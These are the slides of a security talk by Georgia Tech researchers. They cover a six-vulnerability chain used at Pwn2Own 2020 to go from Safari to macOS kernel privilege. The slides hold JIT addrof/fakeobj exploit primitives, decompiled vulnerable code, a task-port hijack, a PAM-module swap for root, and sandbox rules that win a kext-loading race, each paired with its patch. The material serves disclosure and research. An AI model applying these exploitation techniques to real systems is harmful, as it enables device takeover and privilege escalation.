Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities

Yonghwi Jin, Jungwon Lim, Insu Yun, and Taesoo Kim

Georgia Institute of Technology
Who are we?

Yonghwi Jin
Jungwon Lim
Insu Yun
Taesoo Kim
Ph.D. Students at Georgia Tech

DEFCON CTF 2018 Winner: DEFKOR00T

DESENGITIZATION: Privacy-Aware and Attack-Preserving Crash Report

One of the best information security labs in the world!

SSLab@Gatech (https://gts3.org)
We won Pwn2Own 2020!

The **only** browser category submission in Pwn2Own 2020

The **largest** payout for a single target in Pwn2Own 2020
Preparation for Pwn2Own 2020

• Period: a month

• Method
  1. Fuzzing: Found several bugs, but they are all unexploitable
  2. CodeQL: Looks great, but we lack the time to learn
  3. Manual analysis: Most of our findings come from 😊

• Strategy: Frequent yet quick meetings (twice a week) to share information among members to fully utilize the short preparation time
Target selection: Why Safari?

1. Browser category: Challenging yet interesting target

2. *nix-like: More familiar platform for us than Windows

3. Previous experience: e.g., CVE-2019-8832 – Sandbox escape in Safari discovered by one of our team members
Workflow

WebProcess (Renderer) → Broker

User / No sandbox

Root / No sandbox

cfprefsd

sh-3.2#

Bug 1 JIT bug

Bug 2 Logical bug

Bug 3 Heap overflow

Bug 4 Design issue

Bug 5 Race condition

Bug 6 Race condition

Kernel / No sandbox

sh-3.2# csrutil status
System Integrity Protection status: disabled.
Workflow

User / Sandbox

WebProcess (Renderer) → Broker

Bug ① JIT bug
Bug ② Logical bug

Bug ③ Heap overflow

Root / Sandbox

CVMServer

User / No sandbox

Kernel / No sandbox

Bug ⑤ Race condition

Kextload

Root / No sandbox

cfprefs

sh-3.2#

Bug ⑥ Race condition

sh-3.2# csrutil status
System Integrity Protection status: disabled.
Background: \texttt{in} operator

\begin{verbatim}
0 \texttt{in} arr;
\end{verbatim}

• Returns \texttt{true} if the specific property is in the specified object or its prototype chain (from MDN)

• \texttt{in} operator is usually \textit{side-effect free}
  • It only returns its checking result without modifying anything
JIT optimization for side-effect free code

function opt(arr1, arr2) {
  // Check if arr2’s type is ArrayWithDouble (whose elements are all double)
  arr2[1] = 6.6;

  let tmp = 0 in arr1;
  // Check if arr2’s type is still ArrayWithDouble
  return [arr2[0], tmp];
}

- If in operator is modeled as side-effect free (i.e., cannot change arr2’s type), the following check is considered as redundant and will be eliminated for optimization.

- However, if a side-effect happens due to incorrect modeling, it can change arr2’s type and lead to type confusion.
WebKit missed to handle side effects from DOM events of `in` operator

- WebKit uses PDFPlugin to support an embedded PDF file

- For efficiency, the plugin is *lazily* initialized when using its internal data including `in` operator

- This lazy initialization triggers a DOM event named `DOMSubtreeModified`

- We can register handlers for DOM events to invoke arbitrary JavaScript code
This bug is very interesting because it is JavaScript engine’s bug but comes from outside of the engine.

Q: How did we find this?
A: Manually 😊
How to trigger the bug

1. Add any PDF file using HTML

```
<embed src="kim_thesis.pdf"/>
```

2. Install an event handler that triggers side effects

```javascript
arr.__proto__ = {$('embed');
document.addEventListener('DOMSubtreeModified',
    event => {
        print("Hello World");
    }
)};
```

3. `in` operator will be considered as side-effect free during JIT compilation even though it has side effects (e.g., printing “Hello World”)
Let’s abuse this bug to make addrof / fakeobj primitives for exploitation

• addrof: Get an address of an object

```javascript
function opt(arr1, arr2) {
    arr2[1] = 6.6; // Type check: ArrayWithDouble (i.e., all elements are double)
    let tmp = 0 in arr1; // Side-effect free (INCORRECT)

    // NOTE: arr2’s type check is eliminated because it is considered as redundant
    // Returns arr2[0] as double (i.e. objToLeak’s address)
    return [arr2[0], tmp];
}
```

```javascript
document.addEventListener('DOMSubtreeModified', event => {
    // arr2 is converted into ArrayWithContiguous
    // (i.e., elements are objects)
    arr2[0] = objToLeak;
});
```

Ref: Samuel Groß, "New Trends in Browser Exploitation: Attacking Client-Side JIT Compilers", BLACKHAT USA 2018
Let’s abuse this bug to make addrof / fakeobj primitives for exploitation

• fakeobj: Make arbitrary address into an object

```javascript
function opt(arr1, arr2, addr) {
    arr2[1] = 6.6; // Type check: ArrayWithDouble (i.e., all elements are double)
    let tmp = 0 in arr1; // Side-effect free (INCORRECT)

    // NOTE: arr2’s type check is eliminated because it is considered as redundant
    // Set arr2[0] as the double value ‘addr’, which will be considered as an object
    arr2[0] = addr;
}
```

```javascript
document.addEventListener(
    'DOMSubtreeModified',
    event => {
        // arr2 is converted into ArrayWithContiguous
        // (i.e., elements are objects)
        arr2[0] = {};
    }
);
```

Ref: Samuel Groß, "New Trends in Browser Exploitation: Attacking Client-Side JIT Compilers", BLACKHAT USA 2018
We reuse existing techniques to achieve arbitrary code execution

1. Bypass randomized structure ID to make a valid object
   • Use Wang’s technique to leak the structure ID
   • Ref: Yong Wang, “Thinking Outside the JIT Compiler: Understanding and Bypassing StructureID Randomization with Generic and Old-School Methods”, BLACKHAT EU 2019

2. Achieve arbitrary read/write
   • Abuse butterfly structure in JSC
   • Ref: https://github.com/niklasb/sploits

3. Write a JIT region (RWX) to execute shellcode
Patch (CVE-2020-9850)

- Commit ID be8a463
- WebKit starts to consider that `in` operator has side-effects if an object’s prototype is modified
Workflow

User / Sandbox

WebProcess (Renderer) -> Broker

Bug ① JIT bug
Bug ② Logical bug

Bug ③ Heap overflow

Bug ④ Design issue

Root / Sandbox

CVMServer

User / No sandbox

Root / No sandbox

cfprefsd

sh-3.2#

Bug ⑤ Race condition

Kextload

Bug ⑥ Race condition

Kernel / No sandbox

sh-3.2# csrutil status
System Integrity Protection status: disabled.
file:// in a browser

• Chrome: Open a directory in a browser

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Date Modified</th>
</tr>
</thead>
<tbody>
<tr>
<td>.fseventsD/</td>
<td></td>
<td>4/16/20, 9:45:30 PM</td>
</tr>
<tr>
<td>.vol/</td>
<td></td>
<td>2/29/20, 1:09:52 AM</td>
</tr>
<tr>
<td>Applications/</td>
<td></td>
<td>5/28/20, 12:40:58 PM</td>
</tr>
<tr>
<td>bin/</td>
<td></td>
<td>3/17/20, 10:59:50 AM</td>
</tr>
</tbody>
</table>

• Safari: Pop up Finder?!

Q: How does it happen?
Safari uses selectFile() to launch Finder

- In the past, Safari just opens a file (CVE-2011-3230)
- Now it opens a directory containing the file

- Where else selectFile() is being used?
Safari’s different use of selectFile() allows us to launch an arbitrary app

```objc
@implementation NSWorkspace
- safari_revealFile:(NSURL)URL {
  ...
  if ( [self isFilePackageAtPath:URL] ) // <- checks whether a URL points to an app
    [self selectFile:URL inFileViewerRootedAtPath:nil] // <- same as before
  else
    [self selectFile:nil]
  }
@end
```

If we send the IPC after making a symbolic link for an arbitrary app, we can launch the app!

- After a quick experiment, we discovered that
  1. isFilePackageAtPath() checks that a path is a directory whose name ends with "app" (i.e., symbolic link can bypass this check)
  2. If selectFile()'s second argument (inFileViewerRootedAtPath) points an app, selectFile() will launch the app even if it is symbolic link
  3. The renderer (i.e., WebProcess) can make a broker to call this function using Safari IPC - FailProvisionalNavigation
Two problems still exist to launch the arbitrary app

1. WebProcess cannot create a symbolic link because of its sandbox

```latex
; com.apple.WebProcess.sb
(if (defined? 'vnode-type)
  (deny file-write-create (vnode-type SYMLINK)))
```

   - To resolve this, we use the bug ③ - arbitrary code execution in CVMServer

2. macOS has first-time app protection
   - Waits a user’s confirmation
   - We use the bug ④ to bypass this
Patch (CVE-2020-9801)

@implementation NSWorkspace
- safari_revealFile:(NSURL)URL {
...
    if ( [self isFilePackageAtPath:URL] ) // <- checks whether a URL points to an app
        [self selectFile:URL inFileViewerRootedAtPath:nil] // <- same as before
    else
        [self selectFile:nil inFileViewerRootedAtPath:URL]; // <- ?
}
@end

• They removed the application-launching path
Workflow

User / Sandbox

WebProcess (Renderer) -> Broker

Bug 1: JIT bug
Bug 2: Logical bug
Bug 3: Heap overflow
Bug 4: Design issue

Root / Sandbox

CVMServer

User / No sandbox

Root / No sandbox

cprefsd

sh-3.2#

Bug 5: Race condition

Kextload

Bug 6: Race condition

Kernel / No sandbox

sh-3.2# csrutil status
System Integrity Protection status: disabled.
What is CVMServer (com.apple.cvmsServ)?

• An accessible XPC service from WebProcess

```
; com.apple.WebProcess.sb
(define (system-graphics)
  (allow mach-lookup
   (global-name "com.apple.cvmsServ"))
...
)
(system-graphics)
```

• It is used to support OpenGL rendering
• Root privilege and sandboxed, but it has more capabilities than WebProcess
  • e.g., create symlink (for the bug ②) and send signals (for the bug ④)
Heap overflow exists in CVMserver

• If the “message” field of the XPC request is 4, CVMServer calls a function named cvmsServerServiceAttach()
  • All of its arguments are controllable since they are from the XPC request

```c
case 4:
    reply_ = reply;
    LODWORD(base_size) = 0;
    data_ptr = xpc_dictionary_get_data(input, "args", &data_size);
    res = 533;
    if ( data_size == 16 )
    {
        session = a1a->session;
        "framework_name" = xpc_dictionary_get_string(input, "framework_name");
        bitcode_name = xpc_dictionary_get_string(input, "bitcode_name");
        plugin_name = xpc_dictionary_get_string(input, "plugin_name");
        res = cvmsServerServiceAttach(session, framework_name, bitcode_name, plugin_name);
```
Heap overflow exists in CVMserver (cont.)

- Opens "{framework_name}.x86_64.{uid}.maps"
  - Since 'framework_name' is controllable, we can make it to open a file in arbitrary directory (e.g., a file in Safari’s sandbox directory)

```c
arch_type = cvmsArchTypeString(*(v38 + 652));
__snprintf_chk(
    maps,
    0x400uLL,
    0,
    0x400uLL,
    "'/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps",
    framework_path,
    arch_type,
    *((v38 + 56) + 5611));
if ( *((v38 + 32) + 119LL) )
{
    unlink(maps);
    v97 = strlen(maps);
    *(maps + v97) = 0;
    "(&v171 + v97) = 'atad';
    unlink(maps);
    *v152 = *(v166 + 15);
    v6 = 0;
    goto LABEL_90;
}
label_245:
    v131 = fopen(maps, "r");
    if ( -1)
        goto LABEL_245;
```
Heap overflow exists in CVMserver (cont.)

• CVMServer reads the .maps file by calculating its size based on its data

```c
if ( buf->word44 )
{
    if ( buf->dword3C == *(DWORD *)(v38 + 648) )
    {
        uid = *(Pool **)(v38 + 56);
        body_offset = buf->unsigned4A;
        cnt = buf->unsigned40;
        v138 = 56 * cnt;
        buf = (header *)realloc(buf, 56 * cnt + body_offset);
        body_offset = buf->unsigned4A;
        fread(&buf->char50, v138 + body_offset - 80, 1ull, v132);
    }
}
```

// Pseudocode for the above binary code
// cnt and offset are read from the .maps file (i.e. controllable)
size = 56 * cnt + offset;
buf = realloc(size);
fread(buf + 80, size - 80, 1, fp);
// size could be smaller than 80, e.g., cnt = offset = 0 → size = 0
// If size = 0, size - 80 becomes a very large value
// NOTE: fread stops at EOF → size to overwrite is also controllable
Exploitation: CVMServer has another message handler that returns the mach port

- If the “message” field of the XPC request is 7, CVMServer returns a mach port to the client
  - A mach port is an IPC mechanism in macOS
  - A task port should not be exposed to other processes because it allows read/write memory + control registers (i.e., arbitrary code execution)

```c
case 7:
    if (!a1a->attached )
        goto send_reply;
    vm_size = 0LL;
    LODWORD(vm_port) = 0;
    heap_index = xpc_dictionary_get_uint64(input, "heap_index");
    res = cvmsServerServiceGetMemory(a1a->session, heap_index_, &vm_port, &vm_size);
    if ( res )
        goto send_reply;
    xpc_dictionary_set_mach_send(reply, "vm port", (unsigned int)vm_port);
    field_size = (__int64)vm_size;
    field_name = "vm_size";
    goto set_field_and_reply;
```
The returning port in the handler is retrieved from an array located in heap.

```c
_int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, DWORD *port, QWORD *size)
{
    Pool *pool; // rax
    unsigned int res; // ebx
    heapitem *arr; // rax

    pthread_mutex_lock(&serverGlobals.mutex);
    pool = a1->attachedService->context->pool_ptr;
    res = 521;
    if ( pool->pointersCount > index )
    {
        arr = pool->pointers;
        *port = arr[index].port;
        *size = arr[index].size;
        res = 0;
    }
    pthread_mutex_unlock(&serverGlobals.mutex);
    return res;
}
```
An exploitation abuses the mach port

1. Overwrite a port into the task port and send a message 7
2. Client (WebProcess) will receive the task port of CVMServer
3. We can execute arbitrary code in CVMServer by allocating memory and modifying a sthread’s registers
Patch (CVE-2020-9856)

• They now check if realpath() of .maps file equals to the given path
  • We cannot use ../.. anymore

• Check for size >= 80 is added

```c
size = 56 * cnt + offset;
buf = realloc(size);
+ if(size >= 80)
    fread(buf + 80, size - 80, 1, fp);
```
Workflow

WebProcess (Renderer) → Broker

User / Sandbox

Bug ① JIT bug

Bug ② Logical bug

Bug ③ Heap overflow

Root / Sandbox

CVMServer

User / No sandbox

0

AC % % +
7 8 9 ×
4 5 6 –
1 2 3 +
0 . =
cprefsd

Root / No sandbox

sh-3.2#

Kextload

Bug ⑤ Race condition

Bug ⑥ Race condition

Kernel / No sandbox

sh-3.2# csrutil status
System Integrity Protection status: disabled.
Reminder: First-time app protection

- It waits a user’s confirmation to click ‘Open’
- Q: How is it implemented?
Let’s see a process list

- It turns out that the first-time app protection starts the application in the suspended state
- What if it receives SIGCONT signal?
Patch: Won’t fix

• Guess about the reasons
  • Demanding prerequisites to exploit: It requires arbitrary code execution to send signals and .app launching vulnerability
  • Non-trivial kernel modification: Kernel needs to support secure UI to safely support this mechanism against a privileged attacker

• Thus, if you have similar types of vulnerabilities, you can bypass the first-time app protection with this method
Summary: RCE + Sandbox escape

1. Achieve arbitrary code execution in WebProcess using the bug ①

2. Achieve arbitrary code execution in CVMServer using the bug ③

3. Create a symbolic link for an arbitrary app using CVMServer

4. Call IPC to launch the app (the bug ②) using WebProcess

5. Send SIGCONT (the bug ④) to bypass the first-time app protection
Workflow

User / Sandbox
- WebProcess (Renderer)
  - Bug ① JIT bug
- Broker
  - Bug ② Logical bug
- Root / Sandbox
  - Heap overflow
  - Bug ③
- CVMServer

User / No sandbox
- Broker
- cfprefsd
- Bug ⑤ Race condition

Root / No sandbox
- sh-3.2#
- Kextload
  - Bug ⑥ Race condition

Bug ① JIT bug
Bug ② Logical bug
Bug ③ Heap overflow
Bug ④ Design issue
Bug ⑤ Race condition
Bug ⑥ Race condition

Kernel / No sandbox
sh-3.2# csrutil status
System Integrity Protection status: disabled.
What is cfprefsd?

• An XPC service located at CoreFoundation

• It reads / writes preference files (i.e. plist) by user requests

• There were several security issues
  • e.g., CodeColorist, “One-liner Safari Sandbox Escape Exploit”
If a client calls

`CFPreferencesSetAppValue("Key", "Value", "/path/to/.plist")`

1. Check if the client process can write .plist
2. **Create the directory /path/to/ recursively**
3. Write a new content to .plist (with Key=Value)
Directory creation in cfprefsd is racy

1. Create a directory using `mkdir()`
2. Change the access permissions using `chmod()`
3. Change the owner to the client using `chown()`

```c
void _CFPrefsCreatePreferencesDirectory(path) {
    for(slice in path.split("/")) {
        cur += slice + "/";
        if(!mkdir(cur, 0777) || errno in (EINVAL, EEXIST, EISDIR)) {
            chmod(cur, perm);
            chown(cur, client_id, client_group);
        } else break;
    }
}
```
/usr/bin/login

• Authenticates a user based on policy in /etc/pam.d/login

• /etc/pam.d/login
  • Specifies PAM modules for authenticating
  • e.g., pam_permit.so: always permit access without authentication
Arbitrary file write leads to root privilege escalation using login

• Change all PAM modules into `pam_permit.so`

• Then, `login root` will give us a root-privileged shell!
Patch (CVE-2020-9839)

• Now it uses openat + O_NOFOLLOW and fchown instead

```c
int _CFPrefsCreatePreferencesDirectory(path) {
    int dirfd = open("/", O_DIRECTORY);

    for(slice in path.split("/")) {
        int fd = openat(dirfd, slice, O_DIRECTORY);

        if (fd == -1 && errno == ENOENT && mkdirat(dirfd, slice, perm)) {
            fd = openat(dirfd, slice, O_DIRECTORY|O_NOFOLLOW);
            if (fd == -1) return -1;
            fchown(fd, uid, gid);
        }
    } // close all fds
    return 0;
}
```
Workflow

User / Sandbox

WebProcess (Renderer) → Broker

Bug ① JIT bug
Bug ② Logical bug
Bug ③ Heap overflow
Bug ④ Design issue

Root / Sandbox

CVMServer

User / No sandbox

Kernel / No sandbox

sh-3.2# csrutil status
System Integrity Protection status: disabled.

Root / No sandbox

Kextload

Bug ⑤ Race condition

Bug ⑥ Race condition
System Integrity Protection (SIP)

• In macOS, root != kernel

• Even a root-privileged user cannot write to folders with the attribute “com.apple.rootless”

• Only specially entitled binaries can write to these folders
  • e.g., Kernel extension loader (kextload), macOS installer (brtool_legacy), ...
  • Needs to be signed by Apple to have the special entitlements

• Added from OS X 10.11, also called "rootless"
Kernel extensions (kext) in macOS

• macOS uses many kernel modules (.kext folders)
  • e.g., BSD.kext, Sandbox.kext, Quarantine.kext, ...
  • Contains binaries and configuration files (e.g., plist)

• All folders are protected by SIP
  • i.e., a root user cannot directly write to the kernel modules

• Can only load *signed* kexts using `kextload`
Background: kextload

• Has a special entitlement to write a directory that is protected by SIP
  • e.g., .kext directories

• Load a kernel extension after code sign verification

• Signature check happens in user space
  • check_signature(\texttt{kext\_path}) \rightarrow \texttt{OSKextLoad(kext\_path)}
  • Thus, a race condition could happen
kextload uses staging to prevent the race condition

• Staging: Use read-only copy for verifying and loading kext

• To prevent a race condition, kextload
  • Copy .kext to /Library/StagedExtensions, which is protected by SIP
  • Verify and load this copy instead of using an original one
  • An attacker cannot modify .kext between verifying and loading because of SIP (i.e., fail to exploit the race condition)
Two problems exist in kextload’s staging

$ kextload /tmp/A.kext

1. Copy /tmp/A.kext to /Library/StagedExtensions
2. Validate its code signature
3. If fails, delete it from /Library/StagedExtensions
4. If succeeded, move it to /Library/StagedExtensions/tmp/A.kext
5. Load the kext

Problem1: Copy all files including *symbolic link*

Problem2: Can avoid directory deletion by killing kextload, *which is a root process*
Revive a race condition in kextload (1)

$ kextload /tmp/A.kext  

# /tmp/A.kext/symlink ➔ /tmp

1. Copy /tmp/A.kext to /Library/StagedExtensions/tmp/[UUID].kext
   # /tmp/StagedExtensions/tmp/[UUID].kext/symlink ➔ /tmp

2. Validate its code signature
   Kill kextload

3. If fails, delete it from /Library/StagedExtensions

4. If succeeded, copy it to /Library/StagedExtensions/tmp/A.kext

5. Load the kext
Revive a race condition in kextload (2)

$ kextload /tmp/[UUID].kext/symlink/B.kext

1. Copy /tmp/[UUID].kext/symlink/B.kext to
   /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID’].kext
   # ➔ /tmp/[UUID’].kext

   ...

   This kext is no longer protected by SIP!
100% reliable exploit for a race condition using custom sandbox

• Sandbox can be used to intercept a process’s activity

#1. Prevent deleting staged files by terminating kextload

```scheme
(deny syscall-unix
    (syscall-number SYS_unlink)
    (with send-signal SIGTERM)
)
```

#2. Stop after file read to replace files after code sign check

```scheme
(allow file-read
    (literal "/A.kext")
    (with send-signal SIGSTOP)
)
```

• Inspired by CodeColorist, “ModJack: Hijacking the macOS Kernel”, HITB 2019
We can load any kernel module in kernel privilege (e.g., Unrootless.kext from Linus Henze)
Patch

• It uses another protected folder before copying into /Library/StagedExtensions

1. Copy to /var/db/StagedExtensions/tmp.XXXXXX/[UUID].kext
2. Verify it
3. Copy to /Library/StagedExtensions/tmp/A.kext
Conclusion

• Discuss 6 vulnerabilities and their exploitations used in Pwn2Own 2020 to compromise Safari with escalation of kernel privilege
• Show difficulties in protecting a large and complicated system

• We open-source our exploit chain to foster further research!

https://github.com/sslab-gatech/pwn2own2020
Thank you!